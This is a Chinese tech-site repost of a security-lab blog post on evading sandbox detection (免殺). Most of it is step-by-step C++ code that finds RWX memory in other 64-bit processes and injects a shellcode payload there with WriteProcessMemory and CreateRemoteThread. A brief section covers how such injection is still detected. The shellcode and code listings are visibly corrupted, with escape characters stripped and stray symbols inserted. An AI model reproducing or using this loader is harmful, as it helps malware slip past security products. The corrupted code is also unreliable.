<acronym id="s8ci2"><small id="s8ci2"></small></acronym>
<rt id="s8ci2"></rt><rt id="s8ci2"><optgroup id="s8ci2"></optgroup></rt>
<acronym id="s8ci2"></acronym>
<acronym id="s8ci2"><center id="s8ci2"></center></acronym>
0
  • 聊天消息
  • 系統消息
  • 評論與回復
登錄后你可以
  • 下載海量資料
  • 學習在線課程
  • 觀看技術視頻
  • 寫文章/發帖/加入社區
創作中心

完善資料讓更多小伙伴認識你,還能領取20積分哦,立即完善>

3天內不再提示

如何優雅地繞過函數調用鏈呢?

蛇矛實驗室 ? 來源:蛇矛實驗室 ? 2023-08-11 18:24 ? 次閱讀

使用場景

在某次實踐中碰到一個沙箱,在不知道沙箱強度的情況下只能一點點去探索,程序通過調用ShellCode彈出計算器。丟到沙箱里面進行測試發現被沙箱檢測到并且爆出了執行ShellCode的行為。了解過沙箱的朋友都知道,沙箱一般是通過Hook關鍵API得到調用信息返回給腳本去匹配規則。

解析

#include
#include

unsignedcharbuf[] =
"xfcx48x83xe4xf0xe8xc0x00x00x00x41x51x41x50"
"x52x51x56x48x31xd2x65x48x8bx52x60x48x8bx52"
"x18x48x8bx52x20x48x8bx72x50x48x0fxb7x4ax4a"
"x4dx31xc9x48x31xc0xacx3cx61x7cx02x2cx20x41"
"xc1xc9x0dx41x01xc1xe2xedx52x41x51x48x8bx52"
"x20x8bx42x3cx48x01xd0x8bx80x88x00x00x00x48"
"x85xc0x74x67x48x01xd0x50x8bx48x18x44x8bx40"
"x20x49x01xd0xe3x56x48xffxc9x41x8bx34x88x48"
"x01xd6x4dx31xc9x48x31xc0xacx41xc1xc9x0dx41"
"x01xc1x38xe0x75xf1x4cx03x4cx24x08x45x39xd1"
"x75xd8x58x44x8bx40x24x49x01xd0x66x41x8bx0c"
"x48x44x8bx40x1cx49x01xd0x41x8bx04x88x48x01"
"xd0x41x58x41x58x5ex59x5ax41x58x41x59x41x5a"
"x48x83xecx20x41x52xffxe0x58x41x59x5ax48x8b"
"x12xe9x57xffxffxffx5dx48xbax01x00x00x00x00"
"x00x00x00x48x8dx8dx01x01x00x00x41xbax31x8b"
"x6fx87xffxd5xbbxe0x1dx2ax0ax41xbaxa6x95xbd"
"x9dxffxd5x48x83xc4x28x3cx06x7cx0ax80xfbxe0"
"x75x05xbbx47x13x72x6fx6ax00x59x41x89xdaxff"
"xd5x63x61x6cx63x2ex65x78x65x00";


intmain()
{
autoaddr = VirtualAlloc(nullptr, 0x1000, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
WriteProcessMemory((HANDLE)-1, addr, buf, sizeof(buf), NULL);
CreateThread(NULL, NULL, (LPTHREAD_START_ROUTINE)addr, NULL, NULL, NULL);
std::cin.get();
return0;
}

在這個函數中我們執行ShellCode的調用了三個關鍵的函數VirtualAlloc,WriteProcessMemory,CreateThread而這三個函數是執行ShellCode或者注入常用的API,這里可以肯定的一點是已經被沙箱掛鉤了。所以我們要繞過要不就是脫鉤要不就是猜規則的寫法找規則的漏洞。

規則

...
iffunc("VirtualAlloc") == True:
iffunc("WriteProcessMemory") == True:
iffunc("CreateThread") == True:
print("執行了ShellCode")
...

func函數中檢測鉤子輸出文件或者從內存信息獲取到這個三個函數的觸發順序,現在觸發了這條規則,就說明我們目前是在執行ShellCode,因此成為了報毒的一個關鍵點。

如何繞過

最簡單的繞過是使用類似功能的函數進行替代,這里也可能存在一個問題,就是常見的那些函數已經被掛鉤了,因為很多沙箱默認就掛鉤了很多內存相關的API,如果我們如果只是替換一些函數可能還是會被檢測到,當然不排除這些方式可以繞過一些沙箱,單這次遇到的沙箱我測試替換了很多API還是會被檢測到。那么我們只能從規則方面去下手了。

我們反過來想一下,我們執行ShellCode就需要先申請可執行的內存,在寫數據到內存中,在啟動線程去執行數據。那么我們可不可以不申請內存就可以執行。這就是我們繞過不這么健全規則的一種方式。

構造

1. 遍歷系統進程

遍歷進程的方式有很多中,這里我們選擇使用Windows Api進行遍歷,具體代碼如下:

#include
#include
#include

intmain()
{
PROCESSENTRY32 processEntry = {};
processEntry.dwSize = sizeof(PROCESSENTRY32);
HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
Process32First(snapshot, &processEntry);

do
{
std::cout<< processEntry.szExeFile << "	pid:"?<< processEntry.th32ProcessID << "
";
??} while?(Process32Next(snapshot, &processEntry));

??return?0;
}

7bf4087c-382e-11ee-9e74-dac502259ad0.png

下一步我們要去判斷軟件架構,為什么要進行這一步是取決于我們的ShellCode是多少位的,這里我的ShellCode是64位,所以要過濾掉32位進程,不然在后續找到可讀可寫可執行內存的時候我們雖然可以寫入到內存,但不能執行起來。

2. 判斷軟件架構

#include
#include
#include

intmain()
{
PROCESSENTRY32 processEntry = {};
processEntry.dwSize = sizeof(PROCESSENTRY32);
HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
Process32First(snapshot, &processEntry);
HANDLE process = NULL;
LPVOID offset = 0;
MEMORY_BASIC_INFORMATION mbi = {};

do
{
process = OpenProcess(MAXIMUM_ALLOWED, false, processEntry.th32ProcessID);
if(process)
{
BOOL isWow64 = FALSE;
if(IsWow64Process(process, &isWow64) && isWow64)
{
// 過濾掉32位進程
CloseHandle(process);
continue;
}
CloseHandle(process);
std::cout<< processEntry.szExeFile << " pid:"?<< processEntry.th32ProcessID << " is 64-bit."?<< "
";
????}

??} while?(Process32Next(snapshot, &processEntry));

??return?0;
}

IsWow64Process(process, &isWow64) && isWow64

新加入的代碼中使用IsWow64Process這個API去判斷進程是否為64位,如果不是我們就進行下次一循環。如果是我們需要架構的進程我們就要進行下一步判斷進程中是否有可讀可寫可執行的內存讓我們去構造ShellCode。

3. 判斷進程是否已經有可讀可寫可執行的內存

#include
#include
#include

intmain()
{
PROCESSENTRY32 processEntry = {};
processEntry.dwSize = sizeof(PROCESSENTRY32);
HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
Process32First(snapshot, &processEntry);
HANDLE process = NULL;
LPVOID offset = 0;
MEMORY_BASIC_INFORMATION mbi = {};

do
{
process = OpenProcess(MAXIMUM_ALLOWED, false, processEntry.th32ProcessID);
if(process)
{
BOOL isWow64 = FALSE;
if(IsWow64Process(process, &isWow64) && isWow64)
{
// 過濾掉32位進程
CloseHandle(process);
continue;
}
std::cout<< processEntry.szExeFile << "	pid:"?<< processEntry.th32ProcessID << "
";
??????while?(VirtualQueryEx(process, offset, &mbi, sizeof(mbi)))
??????{
????????if?(mbi.AllocationProtect == PAGE_EXECUTE_READWRITE && mbi.State == MEM_COMMIT && mbi.Type == MEM_PRIVATE)
????????{
??????????std::cout?<< "	RWX內存地址: 0x"?<< std::hex << mbi.BaseAddress << "
";
????????}
????????offset = (LPVOID)((ULONG_PTR)mbi.BaseAddress + mbi.RegionSize);
??????}
??????offset = 0;

??????CloseHandle(process);
????}

??} while?(Process32Next(snapshot, &processEntry));

??return?0;
}

7c323246-382e-11ee-9e74-dac502259ad0.png

這種就是我們可操作的內存,主要使用到的函數是VirtualQueryEx,通過遍歷出進程中所有內存,對內存屬性進行判斷,篩選出我們需要的內存。

4. 寫入內存到獲取的分塊中

#include
#include
#include

unsignedcharbuf[] =
"xfcx48x83xe4xf0xe8xc0x00x00x00x41x51x41x50"
"x52x51x56x48x31xd2x65x48x8bx52x60x48x8bx52"
"x18x48x8bx52x20x48x8bx72x50x48x0fxb7x4ax4a"
"x4dx31xc9x48x31xc0xacx3cx61x7cx02x2cx20x41"
"xc1xc9x0dx41x01xc1xe2xedx52x41x51x48x8bx52"
"x20x8bx42x3cx48x01xd0x8bx80x88x00x00x00x48"
"x85xc0x74x67x48x01xd0x50x8bx48x18x44x8bx40"
"x20x49x01xd0xe3x56x48xffxc9x41x8bx34x88x48"
"x01xd6x4dx31xc9x48x31xc0xacx41xc1xc9x0dx41"
"x01xc1x38xe0x75xf1x4cx03x4cx24x08x45x39xd1"
"x75xd8x58x44x8bx40x24x49x01xd0x66x41x8bx0c"
"x48x44x8bx40x1cx49x01xd0x41x8bx04x88x48x01"
"xd0x41x58x41x58x5ex59x5ax41x58x41x59x41x5a"
"x48x83xecx20x41x52xffxe0x58x41x59x5ax48x8b"
"x12xe9x57xffxffxffx5dx48xbax01x00x00x00x00"
"x00x00x00x48x8dx8dx01x01x00x00x41xbax31x8b"
"x6fx87xffxd5xbbxe0x1dx2ax0ax41xbaxa6x95xbd"
"x9dxffxd5x48x83xc4x28x3cx06x7cx0ax80xfbxe0"
"x75x05xbbx47x13x72x6fx6ax00x59x41x89xdaxff"
"xd5x63x61x6cx63x2ex65x78x65x00";

intmain()
{
PROCESSENTRY32 processEntry = {};
processEntry.dwSize = sizeof(PROCESSENTRY32);
HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
Process32First(snapshot, &processEntry);
HANDLE process = NULL;
LPVOID offset = 0;
MEMORY_BASIC_INFORMATION mbi = {};
boolisExecute = false;

do
{
process = OpenProcess(MAXIMUM_ALLOWED, false, processEntry.th32ProcessID);
if(process)
{
BOOL isWow64 = FALSE;
if(IsWow64Process(process, &isWow64) && isWow64)
{
// 過濾掉32位進程
CloseHandle(process);
continue;
}
while(VirtualQueryEx(process, offset, &mbi, sizeof(mbi)))
{
if(mbi.AllocationProtect == PAGE_EXECUTE_READWRITE && mbi.State == MEM_COMMIT && mbi.Type == MEM_PRIVATE)
{
std::cout<< processEntry.szExeFile << "	pid:"?<< processEntry.th32ProcessID << "	寫入地址: 0x"?<< std::hex << mbi.BaseAddress << std::endl;
??????????WriteProcessMemory(process, mbi.BaseAddress, buf, sizeof(buf), NULL);
??????????CreateRemoteThread(process, NULL, NULL, (LPTHREAD_START_ROUTINE)mbi.BaseAddress, NULL, NULL, NULL);
??????????isExecute = true;
??????????break;
????????}
????????offset = (LPVOID)((ULONG_PTR)mbi.BaseAddress + mbi.RegionSize);
??????}
??????offset = 0;

??????CloseHandle(process);
??????if?(isExecute)
??????{
????????break;
??????}
????}

??} while?(Process32Next(snapshot, &processEntry));

??return?0;
}

這里需要注意的是第一次獲取到可用內存的時候就可以退出循環了,避免ShellCode多次執行。

5. 執行ShellCode完成目標

7c51d006-382e-11ee-9e74-dac502259ad0.png

驗證內存

7c985756-382e-11ee-9e74-dac502259ad0.png

檢測方式

注入檢測:這種方式不管怎么繞,都必須要經過的一點,都要通過一個進程去往另外一個進程中去寫入數據,而這個行為是很好檢測的。遇到這種基本可以直接判定為是惡意軟件。

微步檢測:觸發ATTCK

7cdea454-382e-11ee-9e74-dac502259ad0.png

微步分析出現兩個檢測總得來說就是進行了注入,規則可能是針對WriteProcessMemory這個函數進行檢測。

BOOL WINAPI WriteProcessMemory(

In HANDLE hProcess,

In LPVOID lpBaseAddress,

In_reads_bytes(nSize) LPCVOID lpBuffer,

In SIZE_T nSize,

Out_opt SIZE_T* lpNumberOfBytesWritten);

第一個參數是要被寫入數據的進程句柄,這里可以根據句柄去判斷出寫入的是哪個進程,在與當前掛鉤的進程進行對比,從而判斷出來是寫入到其他進程還是當前進程,如果是其他進程就觸發規則‘修改其他進程內存數據’。而這種我們也可以通過前面講到繞過EDR脫鉤來反沙箱鉤子,不過這種方式只能繞過三環的鉤子,如果是內核鉤子我們就需要在0環對抗了。還有就是我們脫鉤也是一種很常見的高危行為,常規脫鉤大概率是會被直接檢測出的。

注入規則的觸發是WriteProcessMemory + CreateRemoteThread,如果單純的去調用WriteProcessMemory觸發的是執行遠程函數這個規則,應該是針對這兩個API去組建了一個新的規則。

總結

本次試驗的目的并不是去繞過一款沙箱。主要是要總結經驗,去根據不同的引擎和規則針對性的去改變自己的免殺方式,沒有哪種方式的免殺是可以永久不殺的,也沒有任何沙箱可以百分百檢測到各種行為。主要是在于繞過的方式和規則的構建。要多嘗試總結出被殺的原因。





審核編輯:劉清

聲明:本文內容及配圖由入駐作者撰寫或者入駐合作網站授權轉載。文章觀點僅代表作者本人,不代表電子發燒友網立場。文章及其配圖僅供工程師學習之用,如有內容侵權或者其他違規問題,請聯系本站處理。 舉報投訴
  • 過濾器
    +關注

    關注

    1

    文章

    407

    瀏覽量

    18991
  • Shell
    +關注

    關注

    1

    文章

    358

    瀏覽量

    22902
  • API接口
    +關注

    關注

    1

    文章

    79

    瀏覽量

    10314

原文標題:免殺技術之優雅地繞過函數調用鏈

文章出處:【微信號:蛇矛實驗室,微信公眾號:蛇矛實驗室】歡迎添加關注!文章轉載請注明出處。

收藏 人收藏

    評論

    相關推薦

    C語言使用函數調用的知識點

    C語言使用函數調用,我們再熟悉不過了,但是函數調用在內存中究竟發生了什么真的清楚嗎?只有搞清楚內存里的內幕,才算完全搞懂函數
    發表于 09-07 11:47 ?670次閱讀

    C函數調用機制與棧幀原理詳解

    當一個C函數調用時,函數的參數如何傳遞、堆棧指針如何變化、棧幀是如何被建立以及如何被消除的,一直缺乏系統性的理解,因此決定花時間學習下函數調用
    發表于 06-08 10:49 ?565次閱讀
    C<b class='flag-5'>函數</b><b class='flag-5'>調用</b>機制與棧幀原理詳解

    一文詳解python調用函數

    函數被定義后,本身是不會自動執行的,只有在被調用后,函數才會被執行,得到相應的結果。但是在 Python 中我們要注意一個關鍵點,就是Python不允許前向引用,即在函數定義之前,不允
    發表于 10-01 10:45 ?232次閱讀

    如何查看及更改函數/函數塊的調用環境

    模塊化設計的思想是把一些相似的功能(比如電機控制、閥控制)設計成函數函數塊,這樣就可以反復調用。其優點是:使程序架構更加清晰,避免重復編寫相似功能的代碼。不過可能會產生一個疑惑:既然PLC的程序
    的頭像 發表于 11-17 09:08 ?438次閱讀
    如何查看及更改<b class='flag-5'>函數</b>/<b class='flag-5'>函數</b>塊的<b class='flag-5'>調用</b>環境

    函數是如何定義的?怎樣去調用函數

    函數是如何定義的?如何對函數進行聲明?怎樣去調用函數?
    發表于 02-25 07:41

    C++教程之函數的遞歸調用

    C++教程之函數的遞歸調用 在執行函數 f 的過程中,又要調用 f 函數本身,稱為函數的遞歸
    發表于 05-15 18:00 ?35次下載

    系統調用函數庫分析及實例

    作為用戶我們極少接觸系統調用,但是我們熟悉C 語言,對庫函數調用并不陌生。C語言支持一系列庫函數調用,而事實上,庫
    發表于 06-23 16:46 ?46次下載
    系統<b class='flag-5'>調用</b><b class='flag-5'>函數</b>庫分析及實例

    函數執行完畢后,如何返回調用處?

    函數執行完畢后,如何返回調用處呢?由于該函數可能會被多次調用,且每次調用的地方很可能不一樣,這樣被調用
    的頭像 發表于 09-14 14:27 ?1.6w次閱讀
    當<b class='flag-5'>函數</b>執行完畢后,如何返回<b class='flag-5'>調用</b>處?

    高效的C編程之函數調用

    14.9 函數調用 函數設計的基本原則是使其函數體盡量的小。這樣編譯器可以對函數做更多的優化。 14.9.1 減少
    發表于 10-17 16:49 ?6次下載
    高效的C編程之<b class='flag-5'>函數</b><b class='flag-5'>調用</b>

    c#調用matlab函數

    本文檔內容介紹了基于c#調用matlab函數,供參考
    發表于 04-19 10:53 ?23次下載

    C語言函數調用的形式及過程

    C語言函數調用時的數據傳遞 在調用有參函數時,主調函數和被調函數之間有數據傳遞關系。
    的頭像 發表于 03-10 14:28 ?1117次閱讀

    什么是函數調用?

    函數調用,就是使用我們已經定義好的函數,或者C語言自帶的庫函數。
    的頭像 發表于 04-04 17:21 ?4105次閱讀

    SCL中調用函數的示例

    在此,可插入函數 (FC) 調用函數塊 (FB) 調用。函數塊可作為單實例、多重實例或參數實例進行調用
    的頭像 發表于 06-06 10:18 ?1347次閱讀

    python定義函數調用函數的順序

    定義函數調用函數的順序 函數被定義后,本身是不會自動執行的,只有在被調用后,函數才會被執行,得
    的頭像 發表于 10-04 17:17 ?582次閱讀

    python函數函數之間的調用

    函數函數之間的調用 3.1 第一種情況 程序代碼如下: def x ( f ): def y (): print ( 1 ) return y def f (): print
    的頭像 發表于 10-04 17:17 ?353次閱讀
    亚洲欧美日韩精品久久_久久精品AⅤ无码中文_日本中文字幕有码在线播放_亚洲视频高清不卡在线观看
    <acronym id="s8ci2"><small id="s8ci2"></small></acronym>
    <rt id="s8ci2"></rt><rt id="s8ci2"><optgroup id="s8ci2"></optgroup></rt>
    <acronym id="s8ci2"></acronym>
    <acronym id="s8ci2"><center id="s8ci2"></center></acronym>